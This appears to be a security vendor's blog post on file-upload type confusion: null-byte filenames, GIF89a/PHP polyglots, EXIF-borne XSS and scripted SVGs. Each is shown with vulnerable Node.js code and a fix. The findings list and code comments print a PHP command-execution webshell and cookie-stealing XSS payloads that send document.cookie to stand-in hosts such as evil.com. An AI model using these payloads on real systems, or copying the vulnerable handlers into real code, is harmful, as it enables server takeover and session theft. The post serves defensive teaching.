← Blog

Claude MCP skill file type confusion via polyglot and magic byte manipulation in uploads — SA-SKL-UPLOAD10

File upload handlers that check file type by extension or magic bytes alone are vulnerable to polyglot attacks — files that are simultaneously valid in two formats. A file that starts with the GIF89a magic bytes is accepted as an image by the file-type library, but if it also contains PHP code, a PHP-enabled server will execute it. Extension checks based on path.extname(file.originalname) can be bypassed with null bytes in the filename. JPEG EXIF metadata can carry stored XSS payloads that survive the magic byte check and execute when rendered. SVG files pass image MIME type checks but carry executable <script> tags. Four SA-SKL-UPLOAD10 patterns cover the most dangerous file type confusion attacks against MCP skill upload endpoints.

By SkillAudit  |  9 Nov 2026
SA-SKL-UPLOAD10 findings at a glance
CRITICALUPLOAD10-001 — File type check uses path.extname(file.originalname); attacker uploads shell.php%00image.png; path.extname sees .png and passes; fs.writeFile creates shell.php (null byte truncates the filename); PHP interpreter executes the uploaded file on first request
CRITICALUPLOAD10-002 — GIF89a polyglot: file starts with GIF89a magic bytes satisfying the file-type library check but contains PHP code after the first null byte; server accepts file as image/gif and stores it in a web-accessible directory; PHP execution on first HTTP request to the stored URL
HIGHUPLOAD10-003 — JPEG upload passes all type checks; attacker embeds XSS payload in EXIF Comment field (<script>fetch('https://evil.com/?c='+document.cookie)</script>); exif-js reads EXIF on the frontend and renders the Comment field in an img title attribute without HTML encoding; stored XSS executes for every viewer of the audit report
HIGHUPLOAD10-004 — SVG upload accepted because MIME type check passes image/*; SVG contains <script>navigator.sendBeacon('https://evil.com',document.cookie)</script>; file stored and served with Content-Type: image/svg+xml; browser executes the script when any user loads the SVG directly

UPLOAD10-001 — Null byte truncation bypasses extension check

When Node.js's path.extname() is used to extract the file extension from an attacker-supplied filename, it processes the string as-is — including any URL-encoded characters. A filename like shell.php%00image.png percent-decoded to shell.php\x00image.png causes path.extname to find the last dot and return .png (the string after the null byte). The extension check passes. However, when the filename is later written to disk via fs.writeFile, some operating system calls interpret the null byte as the string terminator, writing the file as shell.php. If the upload directory is web-accessible and the web server executes PHP, the attacker has achieved remote code execution.

// VULNERABLE — UPLOAD10-001
// File type check on path.extname(file.originalname) — null byte bypasses it.
// Attacker uploads: originalname = "shell.php\x00image.png"
// path.extname sees ".png" (after the null byte) → passes allowlist check.
// fs.writeFile path includes null byte → OS truncates to "shell.php" on disk.

import path from 'path';
import fs from 'fs/promises';
import multer from 'multer';

const allowedExtensions = new Set(['.png', '.jpg', '.jpeg', '.gif', '.webp']);

const upload = multer({
  fileFilter: (req, file, cb) => {
    const ext = path.extname(file.originalname).toLowerCase();
    // VULNERABLE: null byte in originalname → path.extname returns ext after null byte
    if (allowedExtensions.has(ext)) {
      cb(null, true);
    } else {
      cb(new Error('File type not allowed'));
    }
  },
  storage: multer.diskStorage({
    destination: './public/uploads/',
    filename: (req, file, cb) => {
      // VULNERABLE: original filename used → null byte causes OS truncation
      cb(null, Date.now() + '-' + file.originalname);
    }
  }),
});
// FIXED — UPLOAD10-001
// Fix 1: Reject any filename containing null bytes or non-ASCII characters before processing.
// Fix 2: Sanitize filename with path.basename() after null byte rejection.
// Fix 3: Generate a UUID filename instead of trusting any part of originalname.
// Fix 4: Use file-type library on file CONTENT, not extension, as the primary check.

import path from 'path';
import { randomUUID } from 'crypto';
import { fileTypeFromBuffer } from 'file-type';
import multer from 'multer';

const allowedMimeTypes = new Set(['image/png', 'image/jpeg', 'image/gif', 'image/webp']);

const upload = multer({
  storage: multer.memoryStorage(),  // read into buffer for content inspection
  limits: { fileSize: 5 * 1024 * 1024 },
});

app.post('/api/upload', upload.single('file'), async (req, res) => {
  const buffer = req.file.buffer;

  // FIX 1: Check magic bytes from actual file content, not extension
  const type = await fileTypeFromBuffer(buffer);
  if (!type || !allowedMimeTypes.has(type.mime)) {
    return res.status(400).json({ error: 'Invalid file type' });
  }

  // FIX 2: Reject null bytes in original filename (belt + suspenders)
  if (req.file.originalname.includes('\x00')) {
    return res.status(400).json({ error: 'Invalid filename' });
  }

  // FIX 3: Use UUID for stored filename — originalname is never used on disk
  const safeFilename = randomUUID() + '.' + type.ext;
  await fs.writeFile(path.join('./uploads/', safeFilename), buffer);

  res.json({ url: '/uploads/' + safeFilename });
});

Detection: SkillAudit's upload scanner sends a probe file with a null byte in the filename to upload endpoints and inspects whether the stored filename differs from the sanitized expectation. It also sends a GIF89a polyglot probe and checks whether the response indicates PHP execution.

UPLOAD10-002 — GIF89a polyglot bypasses magic byte check

A polyglot file is simultaneously valid in two or more formats. The classic web upload polyglot combines the GIF89a magic bytes at the start of a file with PHP code in the body. The file-type npm library reads the first few bytes of a file buffer and returns image/gif if it sees GIF89a — it does not read the entire file. If the remaining file content contains PHP code, and the server stores the file with a .gif extension in a web-accessible directory on a PHP-enabled server (or passes it to a command runner), the file executes as PHP when requested via HTTP.

// VULNERABLE — UPLOAD10-002
// file-type library check on first bytes only — GIF89a polyglot passes.
// File content: GIF89a\x00\x01<?php system($_GET['cmd']); ?>
// file-type returns { mime: 'image/gif' } — check passes.
// File stored in /public/uploads/badge.gif (PHP-enabled server).
// Attacker GETs: /public/uploads/badge.gif?cmd=id → executes shell command.

import { fileTypeFromBuffer } from 'file-type';

const allowedMimeTypes = new Set(['image/png', 'image/jpeg', 'image/gif']);

app.post('/api/upload/badge', upload.single('badge'), async (req, res) => {
  const type = await fileTypeFromBuffer(req.file.buffer);
  if (!type || !allowedMimeTypes.has(type.mime)) {
    return res.status(400).json({ error: 'Not an image' });
  }
  // VULNERABLE: magic byte check only — polyglot passes; PHP code not scanned
  const filename = req.file.originalname;
  await fs.writeFile('./public/uploads/' + filename, req.file.buffer);
  res.json({ badge: '/uploads/' + filename });
});
// FIXED — UPLOAD10-002
// Fix 1: After magic byte check, scan the entire buffer for PHP/ASP/JS server-side code patterns.
// Fix 2: Re-encode the image through sharp to strip non-image data (re-serialization defense).
// Fix 3: Serve uploads from a non-PHP-executing origin (separate domain, object storage).
// Fix 4: UUID filenames — never serve original filename.

import sharp from 'sharp';
import { randomUUID } from 'crypto';
import { fileTypeFromBuffer } from 'file-type';

const serverSideCodePatterns = [
  /<\?php/i, /<\?=/i, /<%@/i, /<asp:/i,
  /eval\s*\(/i, /exec\s*\(/i, /system\s*\(/i,
  /passthru\s*\(/i, /shell_exec\s*\(/i,
];

app.post('/api/upload/badge', upload.single('badge'), async (req, res) => {
  const buffer = req.file.buffer;

  // FIX 1: magic byte check
  const type = await fileTypeFromBuffer(buffer);
  if (!type || !['image/png','image/jpeg','image/gif','image/webp'].includes(type.mime)) {
    return res.status(400).json({ error: 'Not an image' });
  }

  // FIX 2: scan full buffer for server-side code patterns
  const content = buffer.toString('binary');
  if (serverSideCodePatterns.some(p => p.test(content))) {
    return res.status(400).json({ error: 'File contains prohibited content' });
  }

  // FIX 3: re-serialize through sharp — strips non-image payloads, normalizes format
  const cleanBuffer = await sharp(buffer)
    .png()  // re-encode to PNG — strips EXIF, strips polyglot payload
    .toBuffer();

  // FIX 4: UUID filename stored in object storage (not web-executable path)
  const filename = randomUUID() + '.png';
  await uploadToObjectStorage(filename, cleanBuffer);

  res.json({ badge: 'https://cdn.skillaudit.dev/' + filename });
});

UPLOAD10-003 — JPEG EXIF comment containing XSS payload

JPEG files contain EXIF metadata headers that can include comments, camera model, GPS data, and other fields. The exif-js npm library reads EXIF data client-side. When an application reads the EXIF Comment field and renders it in the DOM without HTML encoding — for example, in an img title attribute or as text content — an attacker can store an XSS payload in the EXIF Comment. The JPEG passes all file type and magic byte checks because it is a valid JPEG. The XSS payload is embedded in metadata, not in the image pixels. When the audit report page renders the uploaded badge image with its EXIF comment in a tooltip or description, the script executes.

// VULNERABLE — UPLOAD10-003
// exif-js reads EXIF Comment field and renders it in an img title attribute.
// Attacker embeds in JPEG EXIF: Comment = "<img src=x onerror=fetch('//evil?c='+document.cookie)>"
// Valid JPEG — all file type checks pass.
// EXIF Comment displayed in audit report page tooltip → stored XSS.

import EXIF from 'exif-js';

function renderBadgeWithMeta(container, imageUrl) {
  const img = new Image();
  img.src = imageUrl;
  img.onload = () => {
    EXIF.getData(img, function() {
      const comment = EXIF.getTag(this, 'UserComment') || '';
      // VULNERABLE: comment set as title without HTML encoding
      img.title = comment;  // attacker's <script> becomes a title attribute injection
      // Some renderers unsafely set: imgWrapper.innerHTML = `<img title="${comment}">`
      // → onerror / other event handlers in comment execute
    });
  };
  container.appendChild(img);
}
// FIXED — UPLOAD10-003
// Fix 1: Strip EXIF metadata on upload using sharp — the simplest defense.
// Fix 2: If EXIF data must be preserved, HTML-encode all EXIF string fields before rendering.
// Fix 3: Never set untrusted content as innerHTML — use textContent for display.

// Server-side: strip EXIF on upload (best defense — metadata never stored)
import sharp from 'sharp';

async function processUploadedImage(buffer) {
  // FIX: sharp re-encoding strips ALL EXIF metadata by default
  return sharp(buffer)
    .resize({ width: 500, withoutEnlargement: true })  // normalize size
    .jpeg({ quality: 85 })  // re-encode → EXIF stripped
    .toBuffer();
}

// Client-side: if rendering EXIF data is required, always encode it
function renderBadgeWithMeta(container, imageUrl) {
  const img = new Image();
  img.src = imageUrl;
  img.onload = () => {
    EXIF.getData(img, function() {
      const rawComment = EXIF.getTag(this, 'UserComment') || '';
      // FIX: set as textContent (auto-encoded) not innerHTML or attribute injection
      const caption = document.createElement('p');
      caption.textContent = rawComment;  // FIX: safe — no HTML interpretation
      container.appendChild(img);
      container.appendChild(caption);
    });
  };
}

UPLOAD10-004 — SVG upload executed as script via image/* MIME type check

SVG (Scalable Vector Graphics) is an XML-based image format that supports embedded JavaScript via <script> elements, event handlers on SVG elements (onload, onclick), and <foreignObject> elements that can contain arbitrary HTML. When a file upload handler accepts image/* MIME types, SVG files pass because the browser and many MIME detection libraries return image/svg+xml for SVG content. If the uploaded SVG is stored and served with its original MIME type, browsers render it as a full XML document with script execution. Any user who loads the SVG URL directly (or is linked to it) has the embedded script execute in their browser session.

// VULNERABLE — UPLOAD10-004
// Upload handler accepts image/* MIME types — SVG passes as image/svg+xml.
// SVG contains: <svg><script>navigator.sendBeacon('//evil',document.cookie)</script></svg>
// Server stores SVG and serves it with Content-Type: image/svg+xml.
// Any user loading the SVG URL executes the script.

const upload = multer({
  fileFilter: (req, file, cb) => {
    // VULNERABLE: SVG passes image/* check — image/svg+xml starts with "image/"
    if (file.mimetype.startsWith('image/')) {
      cb(null, true);
    } else {
      cb(new Error('Not an image'));
    }
  },
});
// FIXED — UPLOAD10-004
// Option A: Block SVG MIME types explicitly — only allow raster image formats.
// Option B: Sanitize SVG server-side with DOMPurify (server-side) before storing.
// Option C: Serve user uploads from a sandboxed origin (separate domain/CDN) with
//           Content-Disposition: attachment to force download, not inline rendering.

// Option A: Explicit allowlist excluding SVG (recommended for user avatars/badges)
const ALLOWED_UPLOAD_TYPES = new Set(['image/png', 'image/jpeg', 'image/gif', 'image/webp']);

const upload = multer({
  fileFilter: (req, file, cb) => {
    // FIX: explicit allowlist — SVG (image/svg+xml) is excluded
    if (ALLOWED_UPLOAD_TYPES.has(file.mimetype)) {
      cb(null, true);
    } else {
      cb(new Error(`File type ${file.mimetype} is not allowed`));
    }
  },
  storage: multer.memoryStorage(),
});

// Option B: Sanitize SVG server-side if SVG uploads are a product requirement
import { JSDOM } from 'jsdom';
import createDOMPurify from 'dompurify';

function sanitizeSVG(svgBuffer) {
  const window = new JSDOM('').window;
  const DOMPurify = createDOMPurify(window);
  const svgString = svgBuffer.toString('utf-8');
  // Sanitize: removes script tags, event handlers, foreignObject
  const clean = DOMPurify.sanitize(svgString, {
    USE_PROFILES: { svg: true, svgFilters: true },
    FORBID_TAGS: ['script', 'foreignObject', 'use'],
    FORBID_ATTR: ['onload', 'onclick', 'onerror', 'onmouseover', 'href'],
  });
  return Buffer.from(clean, 'utf-8');
}

// Option C: Serve user uploads with Content-Disposition: attachment
app.get('/uploads/:filename', (req, res) => {
  res.setHeader('Content-Disposition', 'attachment; filename="' + req.params.filename + '"');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.sendFile(path.join('./uploads/', req.params.filename));
});

Defense-in-depth checklist for MCP skill file uploads: (1) Check magic bytes from file content, not extension. (2) Re-serialize images through sharp to strip polyglot payloads and EXIF. (3) Use UUID filenames — never trust or use originalname for disk paths. (4) Block SVG uploads in image/* allowlists or sanitize with server-side DOMPurify. (5) Serve uploads from a sandboxed origin with Content-Disposition: attachment for all non-inline types. (6) Store uploads outside the web root (object storage, not /public/) and proxy via authenticated endpoint.

Summary — SA-SKL-UPLOAD10 at a glance

PatternRoot causeFixSeverity
UPLOAD10-001path.extname(originalname) — null byte in filename bypasses extension check; OS truncates filename at null byte creating shell.phpReject null bytes in filename; use UUID for disk filename; validate by content via file-typeCritical
UPLOAD10-002GIF89a polyglot passes magic byte check; PHP code after null byte executes when file is requested via HTTP from PHP-enabled serverScan full buffer for server-side code patterns; re-serialize through sharp; store in non-executable pathCritical
UPLOAD10-003JPEG EXIF Comment field with XSS payload rendered by exif-js without HTML encoding — stored XSS in audit report tooltipsStrip EXIF on upload with sharp re-encoding; use textContent not innerHTML for EXIF displayHigh
UPLOAD10-004SVG passes image/* MIME check; SVG with <script> served as image/svg+xml executes script in browserExclude SVG from image/* allowlist; or sanitize with server-side DOMPurify; serve from sandboxed originHigh
SkillAudit

Does your MCP skill's upload handler handle polyglot files and EXIF payloads?

SkillAudit scans for null byte filename bypasses, missing EXIF stripping, SVG in image allowlists, and polyglot-vulnerable magic byte checks in your MCP skill upload code — before an attacker uploads their first payload.

Audit your MCP skill →